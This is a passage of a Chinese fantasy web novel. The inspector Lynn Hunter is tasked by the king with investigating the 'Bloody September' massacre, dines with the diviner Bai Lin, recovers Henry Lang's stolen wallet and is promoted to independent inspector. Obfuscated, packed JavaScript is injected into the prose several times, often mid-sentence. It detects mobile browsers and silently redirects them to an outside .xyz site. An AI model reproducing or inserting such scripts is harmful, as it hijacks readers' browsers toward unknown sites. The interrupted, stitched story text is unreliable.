在白琳费尽心机替国王“占卜”的时候,林恩想通了两件事。 第一,信徒白琳从属于“神学院”。 她拥有“占卜”类异能,兴许与林恩一样,同属于“永恒树”。 并且,白琳的信徒级别不会太低,因为她在国王那里似乎不可取代。 第二,白琳大概是救自己的“神秘人”。 国王不会无缘无故地召见一个陌生人。唯一的可能性是,白琳“预知”到林恩的悲惨命运,抢先一步利用国王救出林恩。 又一个信徒。 普通人中出现信徒的概率小于万分之一,但“穿越”才短短几日,林恩身边的信徒浓度高得有些夸张。 已故的康纳利审查官、巨龙镇治安官伍德、陆军中校莱亚·古德温,现在又多了内务官白琳·嘉伯。 不,还少算了一个。 还有潜藏在国民卫队的“替身玩偶”。 林恩差点背下此人的黑锅。 身边围绕这么多信徒的好处…… 林恩眯起眼,目光幽深地望着白琳。 如果足够好运,如果能窥探白琳的记忆,或许她可以一劳永逸地获得好几处“女神神殿”的位置。 “她?” 国王侧了侧头,探究地观察了林恩几眼,用一片树叶当成书签,把正在阅读的厚书籍合上。 “如你所说的话,可以让她试试。” 林恩被两人的哑谜搞得晕头转向。 “来吧,坐下吧。”国王抬了抬下巴,又瞥了眼蒂娜内务官。 眼色极佳的蒂娜立刻带着其余侍女轻手轻脚离开,只留下商议要事的四人。 林恩拘谨地坐下,盯着面前的茶杯。 清澈的茶汤反射出国王的倒影,她饶有兴致地看着林恩与阿曼达,忽然笑了一声。 水面荡漾,倒影破碎。 阿曼达已提前找出林恩的个人档案,她将文件放在国王面前,并没有过多介绍。 毕竟熟悉国王的人都知道,她讨厌无用的赘述。 “林恩·亨特,特兰郡出生。” 国王念了第一行,就没耐心继续看下去了。 她直接下达指令: “阿曼达,根据白琳的占卜,我将派遣林恩·亨特审查官调查血色九月。” 这并不在阿曼达的意料之外。 “血色九月”的真相是国王的夙愿,自登基以来她就持续不断地派人调查,至今仍未得到结果。 下达命令后,国王端起茶杯,抿了一口。 “血色九月”已过去二十六年了,但直至今日,她还是会梦见五岁那年的血雾弥漫的王宫。 无数皇家侍卫死于“长刀党”的利刃之下,溅起的血浆如泉水般直戳她眼眸,滚烫地喷洒在她的面颊上。 “暗中调查,不要大张旗鼓。”国王中断了回忆,难得提醒道,“否则你会有性命之虞。” 林恩看了眼阿曼达审查官,跟着点起头。 实际上,“血色九月”被所有人有意隐瞒,在出版物上几乎找不到记录。 林恩在“血色九月”之后出生,对此的了解更是寥寥无几。 所有的线索都埋藏在当事人的记忆中。 不过机缘巧合的是,记忆又是林恩的强项。 “我会安排下去的。”阿曼达说,“林恩在学院中就是佼佼者,我相信她能顺利调查出来。” 任谁都听得出来,她说了一句违心的话。 “信任可没什么用。” 国王说罢,眯眼看向远处,盯着急匆匆赶来的内务官蹙起眉头,“蒂娜,有什么事?” 蒂娜内务官道:“收到一封急信,是给首席审查官的。” 说罢,她将金属筒递交到阿曼达手中。 “国民卫队的事情。” 阿曼达迅速汇报,表情变得难以捉摸,“有些紧急,我得回去一趟。” 说罢,她的目光落在蠢蠢欲动的林恩身上。 “陛下,林恩的话——” “她留下。” 国王的嗓音如重锤,砸在林恩身上。 == 林恩被强制留下事出有因。 面对厚厚一沓“血色九月”的记录,林恩局促地挪了挪屁股,手指摩挲着冰凉的杯托,抬眼悄悄看了国王,又迅速缩回视线。 太尴尬了,她想。 不知能否算幸运,林恩的肚子“咕”一声轰响,让安静祥和的气氛一下子碎裂。 两人诧异地望了过来。 “…我凌晨刚下飞艇,还没吃饭。”林恩涨红了脸,结结巴巴地解释。 国王失笑,招手让蒂娜拿了些点心。 “这些文件你只能在这里阅读,不能带出王宫。” 她说道,“所以,你只能挨些饿了。” 三层的锡制甜品盘银亮亮的,色彩缤纷的诱人甜点被小心摆放着。 林恩把一枚草莓挞塞进嘴里。 一口一个的大小,方便食用;挞皮焦脆、草莓香甜,不愧是皇室御厨的水准, 她美滋滋地咀嚼,却忽然被国王的发问噎住。 “你们国民卫队坠毁了一艘飞艇?” “……” 林恩立马就着红茶,把食物残渣咽下去。 “我就在飞艇上,国王陛下。” “哦?” 国王托腮看着林恩,眸中闪过些许异样,语气也冷硬起来: “白狼号是怎么回事?” 首席审查官的追查大概率还在进行,林恩既不了解真相,也不敢贸然越级汇报。 她想了想,挑了个无伤大雅的理由说了出来。 “飞行至绯通亚矿场附近时,白狼号遭到了空匪的袭击。” “空匪?” “击中了白狼号的动力系统,因此无法正常运转。”林恩说,“不过我不是驾驶员,不太清楚具体情况。” “不会就去学。” 国王显然对林恩的态度有些恼怒,“国民卫队出身,飞艇驾驶技能都没有,像什么话!” “……好的。” 林恩鹌鹑般地缩了缩脑袋,老老实实答应下来。 ——伴君如伴虎,趁早离开才是上策。 一边思考着,林恩查看了剩余几页文件,囫囵吞枣地读完。 “都看完了?”国王关注着林恩的进度,“那你说说看你都看了些什么。” 她目光带着审慎,不仅指向林恩,同样也投向占卜师白琳。 白琳是信徒“占卜师”没错,但她并不完全值得信任。 国王想,她需要亲自确认林恩的能力,以防万一两人沆瀣一气。 面对如此质疑,林恩有种面对导师的错觉。 她汗流浃背地回答:“‘血色九月’事件主要围绕三方势力,分别为王室、谋逆者与长刀党。 谋逆者理查德四世以谋取王位为目的,也成为‘血色九月’的直接获利者与最终赢家。 而长刀党以碎金城东区的码头工人为主,一开始为工人谋求利益而存在。自奇尔·古恩斯接手长刀党后,试图推翻王权,因此在9月2日夜晚爆发抗议活动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她们互相谈心,灵魂离得很近但肉身离得很远。 “你饿了吧?”白琳气喘吁吁地跑过来,招手喊了辆车,“我请你吃顿饭吧。” 她提着裙摆踏上马车,和司机报了地址。 “去钟与美人(BellandBelle)。” “好,二位请坐稳。” 林恩笑道,“这家饭店名字还挺特别。” 一边说着,她从口袋里一边掏出手帕,递给满头大汗的白琳。 “是一家主营海鲜的餐厅,但食客都奔着葡萄酒过去。”白琳眨了眨眼,“我知道你有很多疑问,我就一边赔罪一边解释吧。” ——该不会刚巧就是首席审查官说的那家饭店吧? 那么这世界也巧得过分了。 “应该很贵吧?”林恩问。 “难得阔绰一次不要紧。”白琳说,“这家店在查尔斯国王登基那年就开业了,据说老板原先是一个钟表匠。” 马车颠簸一下,车夫发出一声低沉的怒骂。 林恩循声朝窗外望过去,却只看见黑沉沉的夜色。 “…但查尔斯国王大力推广怀表与腕表,座钟的生意逐渐惨淡,他才与妻子一道开了饭店。”白琳继续说着,也撩开门帘往外探头。 “小姐,只不过遇到个不怕死的孩子。”车夫说着,又回头道了歉,“刚刚没撞到吧?” 白琳摇摇头。 “没事,也快到了。”她说。 不远处,几枚淡黄色瓦斯灯中央,铜条编织的“钟与美人”几个大字正在微微反光。 17. 钟与美人 白琳付车费的工夫,林恩正仰头注视着这家略显恢弘的餐馆。 它的门板由木头与玻璃拼接而成,四周用金属条包裹,厚实且坚硬。 “小姐,你的找零。”车夫把5银舌尔的硬币放进随身跨着的布包,又在隔层里翻找半天。 “不用,剩下的是你的小费。”白琳说着,快活地跳下马车。 “保佑您,小姐。”车夫举了举帽子,朝白琳致谢。 在金蔷薇宫接客就有这样的好处,时不时会有额外的赏赐。 察觉到身边多了个人,林恩便收回视线,任由白琳拽着她的手,往门洞里走。 刚踏上台阶,齿轮就“咔哒咔哒”转动,紧闭的大门随之打开。 ——这竟是一扇自动门! “有预定吗?” 高大瘦削的白衣侍者迎了上来,亲切询问道。 “没有。”白琳摇头,“有位置吗?” “请坐在这里吧。”侍者微微笑了一下,带领她们坐在大厅拐角的卡座内,又送上菜单与酒水单。 “不过,因为没有预订,所以葡萄酒只有酒单上的这些哦。” 林恩刚想点头,就看见白琳低头翻找了些什么,总算是从口袋里掏出一枚六边形木牌,上面标着“210”的数字。 “我在你们这里有存酒,今天就喝这个吧。” 侍者低头看了一眼,随后躬身点头,“没问题的,小姐。” 林恩目视着侍者远去,随后端起松木桌上放置的玻璃水杯,浅浅尝了一口。 “这家店看上去挺奢华的。” 她摸了摸深红色的牛皮沙发,一边对白琳说。 “或许吧。” 白琳接过侍者端来的酒杯,盯着两盎司的刻度,轻轻摇晃了一下。 “你要尝尝看吗?这家的白葡萄酒。” 林恩端起自己的酒杯。 有些淡淡的果香味,随后酸涩的酒精味覆盖上来,逐渐尝不出旁的味道。 她放下杯子撒谎,“真不错啊。” 白琳完全没听出她的谎言。 她拈起一片面包,慢慢涂抹上黄油,终于鼓起勇气开口。 “你现在应该有很多疑问吧?” “关于你是信徒的疑问?” “原来你知道。”白琳看了眼林恩的态度,赫然松了口气。“我原本以为你和教会的那些老古板一样呢。” “也没必要这么想我。” 林恩笑道,随即嘴里便被塞了涂满黄油的面包。 “不过你现在知道啦,我不仅是信徒,我的异能还是‘占卜师’。”白琳用茶巾擦了擦手指上的面包屑,“我占卜到你今日的厄运了。” 她直截了当地说了出来:今天通过国王救下林恩的正是她自己。 “是了,我还欠你一句感谢呢。”林恩腮帮里塞满食物,含糊不清地说道, “不过,既然你是信徒,那应该也认识我的老师吧?” “你的老师?” “康纳利审查官。” 白琳沉吟片刻,“我听说过这个人。你或许不清楚,我们都属于‘神学院’。他是六级信徒——这在我们当中是很高的等级了,因此比较出名。” 很快,她又话锋一转,“不过我们不熟。” 算上莱亚的记忆,这已经是林恩第二次听说“神学院”了,她也顺理成章地问了出来。 白琳解释:“碎金城内的注册信徒,九成以上都加入了‘神学院’。这就像是某种固定的流程,几乎没有例外。” 她指了指手中的短杖,“‘神学院’学徒的固定搭配是一根手杖、一件黑色大衣。只不过我讨厌把自己穿得黑漆漆的,所以我只用手杖辅助我使用异能。” 难怪了,莱亚也一直携带一根手杖。 林恩原本以为这是碎金城上流社会的某种流行风尚,现在看来并非如此。 话题因侍者上菜而被迫终止。 两枚新鲜生蚝被端了上来,侍者贴心地帮忙挤上柠檬汁,又递给二人红酒醋汁作为辅料。 林恩小心地端起贝壳,依葫芦画瓢地滴了几滴醋汁,一口塞进嘴里。 “对了,国王的任务,你打算怎么完成?” 白琳把牡蛎壳丢在一边,忧心忡忡地问道。 林恩也跟着放下牡蛎壳,拿餐巾擦了擦粘腻的手指。“说实话,我没有头绪。” 她甚至根本不了解“血色九月”,去调查这个事件更是无从下手。 “国王要求每周跟她汇报一次,这未免太频繁了。”白琳叹了口气,“不过,你不如从浅湖宫开始调查。” “‘血色九月’发生时的皇家宫殿?”林恩咬了咬嘴唇,“我进得去吗?” 蟹肉浓汤被端了上来,橙黄色的浓稠汤汁被盛放在白瓷盘中央,显得格外诱人。 侍者的胳膊阻挡了白琳的视线,她不得不侧身避开,朝林恩努嘴。 “那东西可不是随便给你的。”白琳的目光指向了国王赐下的金属徽章。 凭借这个东西,林恩可以随心所欲地调查几乎所有事情。 她甚至可以畅通无阻地进出王宫。 林恩舀了勺浓汤。 入口的瞬间,她就被鲜美的海鲜味惊住了。 蟹肉特有的鲜味,伴随着鸡肉浓汤的香气,复杂地混合在一起,味蕾承担了太多缤纷荟萃,几乎有些过载。 “而且你还可以支取一些调查资金。”白琳眨眨眼,“到时候你可以偷偷请我吃饭。” 她拿面包蘸了浓汤放进嘴里。 “但愿。” 林恩垂头丧气,“康纳利审查官去世了,我在国民卫队的日子一定不会好过。” 白琳这周没参加“神学院”活动,也就错过了康纳利死亡的消息。 因而,当她从林恩口中得知此消息时,震惊溢于言表。 “等等——”她仓皇开口,“康纳利死了?” 林恩刚想回答,就听见不远处发出“砰”一声巨响。 粗壮的男声像是从下水道噗噗冒出来的水,“谁偷了我的钱包!” 一个红通通的胖男人暴跳如雷。 “先生,请不要影响其他顾客。”餐厅经理上前低声提醒。 “治安官呢?把中央大区的治安官给我请过来!”他指着经理的鼻子,“否则我就要你们好看。” 白琳的注意力也顺势转过去。 “那是朗氏矿业公司的继承人亨利·朗。”她跟林恩介绍着,“是个有钱且挥霍的花花公子,很出名的人物。” 林恩“哦”了一声。 “哈,我说他今天怎么如此计较。”白琳乐不可支地指了指亨利·朗的对面,“他今天没带美人,也就不需要顾及自己的面子。” 见林恩疑惑,白琳又解释道,“他可乐意给美女花钱了,皇家歌剧院一直保留着他的包厢。 要知道,那东西可价值不菲呢!” “是吗?” 林恩耸肩,并不十分感兴趣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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已丢了面子,他也就破罐子破摔,声音从牙缝里挤出来:“你给我等着,我会让威灵顿收拾你。” “蒙德里安·威灵顿?” 林恩的手指点了点桌子,饶有兴致地询问道。 “看来你知道,你惹到了什么人。” 林恩耸肩,“很抱歉,我早就惹怒他了。债多人不愁的道理,你也不会不知道吧?” 她眨了眨眼,“不过,威灵顿审查官的头衔,比首席审查官还要威风吗?” “……” “先生,治安官来了。”餐厅经理走了过来,手指铁钳似的握住亨利·朗的手腕,把他强硬地拽走。 惹怒亨利·朗不要紧,不能因此而惹怒其他食客。 侍者紧接着走来,弯腰凑近林恩,“我们经理说了,今日你们的账单由他来承担,也就当作我们的赔礼道歉了。” 林恩眉头一舒。 “这也太贴心了。” “欢迎您下次再来。”侍者笑道。 白琳看了一通大戏,托腮问道,“威灵顿就是那个对你用私刑的人?” “没错。” 林恩一口喝光杯中的葡萄酒,“因为康纳利审查官去世,他觉得可以肆意欺负我—— 你要知道,他本来就和信徒不对付。” 话题也就这么绕了回来。 “康纳利……怎么会死?”白琳低声问。 林恩重新描述了一通“夜魔”事件,讲到一半忽然停顿卡壳。 “……我知道了。” 白琳一脸莫名。 “知道什么?” “我们进店之前,车夫差点撞到的那个孩子。”林恩压低嗓音,“搞不好是偷走亨利·朗钱包的小偷!” 18. 亨利·朗的钱包 白琳仔细思考了林恩诉说的可能性。 不过,她始终觉得,世界上没有这么巧合的事情。 “但愿不是。” 林恩挑了下眉,“一个毫无背景的小偷,对上一个权势极高的富翁,显然是没有对抗手段的。” 就像《悲惨世界》。 也像她自己。 林恩又抿了一大口酒,用冰凉的酒精覆盖掉全部忧愁。 “白琳,对我来说,有什么可以武力对抗的手段吗?” “对抗?对抗谁?” 白琳歪了歪头,目光终于注意到林恩空空如也的葡萄酒。 她会不会……喝的有点多了? “蒙德里安·威灵顿。” “很难办呐,就连国王都得给威灵顿家族一点面子。” 白琳默默地把她的酒杯里倒上清水,小心观察着林恩的面容,直到看出她神色如常才松了口气。 “威灵顿并不仅仅代表船舶公司,更代表了工会的势力。” 工会…… 林恩蹙眉,最终却什么都没说。 “不过我也明白,你想要的是康纳利那样的自保手段。” 白琳一眼就看出林恩的困扰,“不过康纳利不是别人,整个碎金城也没有几个六级信徒。” “这等级很高吗?” 白琳点头,“我是七级信徒,听上去差不多,但实则每一道关卡都是天堑。” 她的叉子轻轻敲打着餐盘,认真思索了片刻。 “唔,就像是你和首席审查官之间的鸿沟。” 这个比喻很具象了。 林恩挠了挠头,又想到另一个疑问。 “所以,‘夜魔’究竟是何等恐怖的异种生物,竟然能不费吹灰之力就杀死康纳利?” “嘘,别在这里说这些。” 白琳及时阻止,“这东西……是一种恐怖的禁忌。” 异种生物介于“传说”与“实物”之间,但白琳始终觉得,它真实存在着。 只不过—— 目睹它的人已经死亡。 最后一口酒已经喝完,白琳拉着微醺的林恩起身,一边慢吞吞地掏出小费塞在盘下。 望着纸钞上的若干人物画像,她突然来了灵感。 “诶,你知道安德鲁骑士吗?” 林恩盯着白琳迷糊的眼睛:“不知道。” “他被称作阿尔卡迪亚王国的最后一位神骑士,是位杰出的英雄。” 白琳挥舞着她的短手杖,佯装成骑士手中的长剑。 “他就靠一匹野生马驹、一柄长剑,就可以叱咤整片大地,砍杀异种生物。” 林恩热血沸腾:“你是说,我能成为这样的人?” 白琳笑出声,眼底闪着明媚的快活。 “我只是给了你一个希望——你离神骑士还远着呢!” “……” 白琳摸了摸林恩毛茸茸的头发,又出言安慰:“当然啦,我期待看到你变成安德鲁骑士的那一天。” 两人哄笑着走出“钟与美人”。 夜色不深,吹拂而来的风中伴随着微凉的露水,空气里带着遥远的咸味。 松果河划开灯火通明的中央大区,河水奔流着朝向海湾。 白琳拢着衣领,提议去松果河堤岸散步。 “晚上偶尔有卖黄油烤土豆的……外皮烤得焦脆的土豆对半切开,铺上一层黄油,撒一点盐和胡椒,就已经足够美味了!” 她眼睛亮晶晶的,几乎要垂涎三尺。 林恩笑了一声,快步跟上白琳,脚下忽然一滑,便“扑通”一声倒在地上。 大约喝了点酒,又疲乏了好多天,林恩忽然有些困倦。 她打了个呵欠,缓缓闭上眼睛—— 就休息一下。 林恩心想。 “喂,不要在这里睡觉啊!”白琳费劲地把林恩从地上扒拉起来,手掌拍打着她温热的脸蛋,“醒一醒!” 还在呼唤林恩的时候,白琳的皮鞋忽然踩到了什么。 她低下头。 一个钱包? 细腻的黑色小羊皮钱包,被刻下了烫金的花体英文。 光线不佳,因此白琳不得不凑近了些,小心辨认半天,终于意识到这上面刻的是姓氏“朗”。 这是亨利·朗的钱包! 林恩坐直了身子,就着白琳的手看清了字迹。 夜风吹在她面颊上,让她滚烫的脸瞬间降温,脑袋也随之清醒了些许。 “小偷偷走了亨利·朗的钱包,又随手丢在这里。” “嗯,是的。” 白琳点点头,直接打开钱包。 果不其然,小偷是为亨利·朗的钱财而来,因此里头的所有钱币都被洗劫一空。 “给我看一看。”林恩说。 在林恩看来,倘若只是金钱,不足以让富裕的亨利·朗大发雷霆。 或许钱包里有比金塔拉更重要的东西。 她翻出钱包里的每一张卡片与账单,一股脑地塞进自己的口袋。 至于钱包本身—— 林恩本想留下钱包,等待精神恢复之后搜查亨利·朗的记忆。 但是拥有“审查官”的记忆之后,她打消了这种念头:国民卫队饲养了一批嗅觉灵敏的“神犬”,可以通过残留在空气里的气味搜寻钱包的轨迹。 她并没有暴露自己的打算。 林恩站起身,抓着这支手工缝制的钱包走到松果河边。 “扑通——” 她干脆利落地把钱包丢进河水里。 白琳拦了辆出租马车,将两人带回桔梗街。 林恩颤巍巍地从马车上滑下来,因摔跤而疼痛的脚踝支撑着沉重的身体,慢吞吞地爬上二楼。 她掏了掏口袋,把一大团亨利·朗的东西拿出来,终于在口袋最底下找到钥匙。 钥匙孔小的出奇。 她打着呵欠,捏着小钥匙往孔里塞。 “算了,我来吧。” 付完车费姗姗来迟的白琳冲了上来,帮她开了门,又耐心地把林恩手中的全部物品塞进她的公文包里。 “怎么醉成这样啊。”她嘟囔着。 林恩倒在地毯上,目视天花板上的圆形花边黄铜吊灯。 这是房东鲍恩斯先生的庸俗审美。 她深呼吸一口气,只觉得吊灯正在旋转。 随后,她的身体、她的五脏六腑似乎跟着一道旋转起来。 “呕。” 熟悉的反胃感再一次袭来。 “明明没喝什么酒啊?”白琳抓着门把手,忧心忡忡地看着林恩的背影。 吐出点东西,胃里总算是畅快了。 林恩低头看向洗手池。 那是一滩红棕色的液体。 浓汤般的质地,像是往血液里加入了大量的—— 沙土? “你还好吧?”白琳的声音由远及近。 林恩“嗯”了一声,立刻打开水龙头,将那一团红到发黑的东西冲进下水道。 “我还好,只不过没休息好。” 她说道,拍了拍白琳的后背,让她不用担心。 “如果你不舒服的话,明天可以请个假。”白琳说,“反正首席审查官也知道你的情况,不是吗?” “嗯,我知道的。” 林恩虚弱地朝她笑了笑,隐藏住心里的不安。 等把白琳支走,林恩一下子瘫软在地。 她的呕吐物是预警,无一例外。 难道……又有异种生物围绕在她周围? == ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258196|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即便有再多不安,林恩最终还是困得立刻昏厥。 上一次入睡还是在飞艇上,却恍如隔世。 无数折磨被浓缩成一团,苦咖啡似的冲她袭来,即便没有精神污染,林恩孱弱的神经也即将崩溃。 她是被职业敲窗人卡尔威克先生唤醒的。 一次叫醒服务只需要1银舌尔,卡尔威克先生甚至给林恩提供了“包月”服务,一整个月只需要20银舌尔。 对林恩来说,这是相当划算的买卖:寻常的钟表很难把她唤醒,尤其是需要出夜勤的时候。 而对卡尔威克先生来说,相比东区那群昼伏夜出的工人,林恩的作息相当友好。 完全是双赢的买卖。 潦草的洗漱过后,林恩从衣柜里取出朴素的灰白色衬衣与黑色衬裤,一边把父亲的旧怀表塞进外套内袋。 此刻,时针指向7点。 “早,朱莉亚夫人。”林恩锁好门,又收好钥匙,一边和门房打招呼。 “昨天的桃子很好吃,感谢您。” “早啊,亨特小姐。” 朱莉亚夫人正在清扫楼道的灰尘,得到林恩的感谢后,她脸上也扬起笑意,“不用客气。” “晚上等我回来,再把篮子还给您。” 林恩说罢,抬了抬帽檐,又马不停蹄地冲出大门。 她需要在五分钟之内赶往洋湾区车站,乘坐7:25的齿轮高架缆车,才能在7:50到达中央大区西车站。 不过,桔梗街距离洋湾区车站,足足有一里远。 林恩花了1银舌尔坐上了拥挤的公共马车,免于奔波之苦。 “早,亨特小姐。” 面色红润的简·克莱格小姐与林恩打了招呼,她在中央大区的皇家银行工作,与林恩住的很近。 两人常常能在上班时遇到。 “早。”林恩打了个呵欠,从帆布公文包里掏出油纸,啃了几口黑面包。 这还是前一天晚上白琳给她的,否则今日她得饿着肚子上班了。 胃正在被一寸一寸填饱,林恩头一次怀疑起自己的“异种生物报警系统”。 虽然出现了呕吐的症状,但是异种生物却并没有就此出现。 甚至,昨晚是一个相当祥和平静的夜晚。 林恩甩甩脑袋,不再细想。 从洋湾区车站到中央大区西站的单程票是3银舌尔,还不到出租马车价格的五分之一。 到达车站大厅后,林恩风驰电掣地购买了车票,又和简·克莱格小姐并肩走上站台。 转动的机械屏显示,这趟车会晚点两分钟。 “好几天没见你了,最近工作忙吗?”简·克莱格看了眼腕表的时间,一边与林恩攀谈。 她纤细的胳膊上戴着一块精美的钻石腕表,肉眼可见的价格不菲。 这不是银行职员能买得起的东西。 林恩只瞥了一眼,就收回视线,“我前段时间出差了。” 齿轮高架缆车摁响了汽笛,喧闹着冲进车站。 它从东区驶来。 尽管经过了人群聚集区,但东区的工人鲜少前往中央大区通勤,因此缆车内的乘客并不多。 洋湾区上客众多,林恩挤进空座位中,刚好与简·克莱格分开。 她悄悄庆幸无需继续社交——简·克莱格是个相当外向的人,声音尖细且语速极快,同她讲话总有种呼吸不畅的感觉。 坐定过后,林恩把公文包放在腿上,只听见里头“沙沙”作响。 像是纸张正在相互摩擦。 她打开金属扣,伸头看了一眼。 亨利·朗的东西,正静静躺在包内。 纸质的账单相互摩擦,洁白的纸上已满是折痕。 这些东西怎么会在她包里? 19. 独立审查官 林恩感慨喝酒误事,一边掏出各式账单,仔细研究。 亨利·朗早晨在伊恩服饰店购买了合计700金塔拉的定制西服。 林恩倒吸一口气,这几乎是她四个月的薪水了! 而审查官的薪酬,绝对算不上低。 她平复了一下嫉妒的心情,接着一张张翻看。 …珠宝店、餐厅、马场和手杖店。 等等—— 手杖店? 林恩回忆了一下昨晚的亨利·朗,装扮分明是典型的庸俗有钱人: 定制的金黄色羊绒西服也挡不住他鼓鼓囊囊的身体,肿胀的面孔上是打满发胶的棕发,浑身上下的色彩甚至比彩虹还要缤纷。 这样的审美,怎么会购买“长款黑色羊绒外套”与“玫瑰木镶5克拉钻石手杖”? 亨利·朗难不成加入了“神学院”? 他是信徒?! 林恩的瞳孔震颤了一下,不安地收起账单。 一种不可捉摸的坏预感不断涌动: 如果“信徒”是坏事,为什么富可敌国的亨利·朗不惜冒着精神崩溃的风险想成为信徒呢? 如果“信徒”是好事,那为什么王国上下视信徒为异端? “亨特,我先走啦!” 简·克莱格朝林恩挥了挥手,带着昂扬的精神下了车。 林恩这才注意到,摇晃的铃声不断提示乘客,车已到站。 现在到达了中央大区东站。 还有两站就得下车。 缆车从中央大区恢弘的建筑物空隙中飞驰而过,如钢铁巨兽般穿梭。 林恩扭着头,盯着窗外闪烁的风景,逐渐入了神: 碎金城的金黄色建筑在阳光下,果真如撒下破碎金箔般熠熠生辉。 “中央大区西站到了!” 列车员呼喊着。 窗外的木制标牌上用铜条嵌出站名。 林恩猛地站起身,提起公文包往外冲。 == “……康纳利审查官在此次任务中牺牲。” 林恩坐在会议室里,聆听着首席审查官的发言,只觉得昏昏欲睡。 她的座次靠后,刚好可以看见和她有不共戴天之仇的蒙德里安·威灵顿的后脑勺。 此人坐在副手位。 察觉到林恩的视线,蒙德里安·威灵顿回过头,将视线挪在她身上,似笑非笑。 ——他怎么都没料到,昨日的林恩竟然如此好命,直接让首席审查官带走了。 据说还是国王的命令。 他冷哼一声。 “康纳利审查官的葬礼就在这周举行,希望诸位都能参加。”阿曼达审查官说着,目光扫过威灵顿与马特几人,又与后方的林恩遥遥对视。 “康纳利审查官的学徒,亨特审查官……将继承康纳利的独立审查官位置。” 会议室一片哗然。 众人的目光有意无意落在林恩身上,小声讨论起来。 林恩垂眸。 阿曼达审查官的这句话,反倒把她架住了。 “诸位安静。审查官的日程安排,依旧由特里奇审查官负责。” 阿曼达悠悠地说完这一句,就宣布会议结束。 人群三三两两退散,只剩下全部独立审查官还坐在原位。 林恩站起身,正打算更换位置,就偏巧与她的几日队友艾迪·穆德擦肩而过。 他在林恩耳侧小声呢喃: “恭喜您,审查官。” 她只当没听见,抱着笔记本慢吞吞走下台阶,直至与蒙德里安·威灵顿并肩。 而后,林恩“啪唧”一下坐在他旁边。 “……” 蒙德里安的脸黑了一度。 赤裸裸的挑衅! “诸位,这就是康纳利审查官的学徒,林恩·亨特审查官。日后,她将与你们一道并肩战斗。” 阿曼达·德·波尔满面春风地介绍道。 “林恩,你要不要自我介绍一下?” 面对若干张或熟悉或陌生的面孔,林恩缓缓张口: “大家好,我是林恩·亨特。” 蒙德里安做足了挑刺的准备,却没料到林恩的自我介绍到此为止。 “没了?” 就连首席审查官都傻眼。 她的目光投向林恩,“你还要再说几句吗?” “不用了。” 林恩摇头,“日后会逐渐熟悉的。我是个不善言辞的人。” 蒙德里安哼笑一声。 国民卫队最不缺刺头,不过他们的下场都很惨。 他相信林恩也会一样。 特里奇审查官清了清嗓子,“既然大家都到场了,我把本周的工作安排介绍一下。” 他一边开口,几名学徒开始分发文件。 热腾腾的、带着油墨味的纸张被放在林恩手心。 她略过最上方几页,直接找到自己的名字。 方框之中,她的任务相当简洁。 【亨特:搜查亨利·朗丢失的钱包。】 真该死。 惴惴不安的坏预感终于落了地,林恩也不知现在是痛苦更多还是安心更多。 她举起手,示意特里奇审查官。 “什么事?” 在没摸清特里奇审查官的性格之前,林恩决定谨慎行事。 “我没太明白我的任务。” 她读了一遍工作内容,终于发问:“谁是亨利·朗?为什么他的钱包这么重要?” 众人“哗哗”地翻着文件。 在一片寂静中,蒙德里安的眼神如炙热的火焰,林恩几乎听得出他目光中噼里啪啦的爆裂声。 她转过头,歪着脑袋看向蒙德里安。 “威灵顿,你来解释吧。” 特里奇扬了扬下巴。 被点名的蒙德里安·威灵顿扫了众人一眼,用他独有的演讲语调开口: “昨夜,中央大区治安官向国民卫队求助,在‘钟与美人’用餐的亨利·朗先生丢失了他的钱包,其中有朗氏矿业公司的机密,需要我们协助搜查。” 他停下来喝了口茶,又继续说道, “不过,据亨利·朗自己所说,审查官林恩·亨特正是目击证人,因此我认为由亨特审查官来进行此次工作非常合理。” “我不在场。” “?” 任凭蒙德里安怎么想,都没想到林恩的拒绝理由是这个。 “怎么可能,亨利·朗亲口说,那是个身穿制服的女性审查官。”他说,“你看看,女性审查官不就只有你?” “还有首席审查官,亨利·朗遇到的是首席审查官,不是我。” 林恩用手指了指阿曼达,“而且你们关系这么好,你亲自去搜查呗。” “……” 见两人唇枪舌剑波及旁人,特里奇审查官脑袋一沉,顶着首席审查官的死亡视线开口。 “亨特审查官,这不是件大事,就先由你负责吧。” 他叹口气,终于心软地开口,“你经验不足,如果遇到什么麻烦,就先来询问我吧。” 就当是看在康纳利的面子上。 特里奇心想。 == 厚厚一沓材料被搬到林恩办公室内。 “这些是有关于亨利·朗与朗氏矿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258197|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业公司的资料。”特里奇审查官的学徒、杜巴审查官站在门口,一边转述着特里奇的话,一边四处打量着这件办公室。 他已经做了五年的学徒了,倘若按资排辈,这次晋升独立审查官的名额本该是他的,却没想到康纳利的学徒后来居上。 也就是面前这个女人,林恩·亨特。 尽管闪过嫉妒与不满,但杜巴并没有更多怨言。 他知道,林恩·亨特是从“夜魔”攻击里幸存的人,光是这点,他就没办法做到。 “没个学徒确实不太方便。”杜巴咧开嘴说笑道。 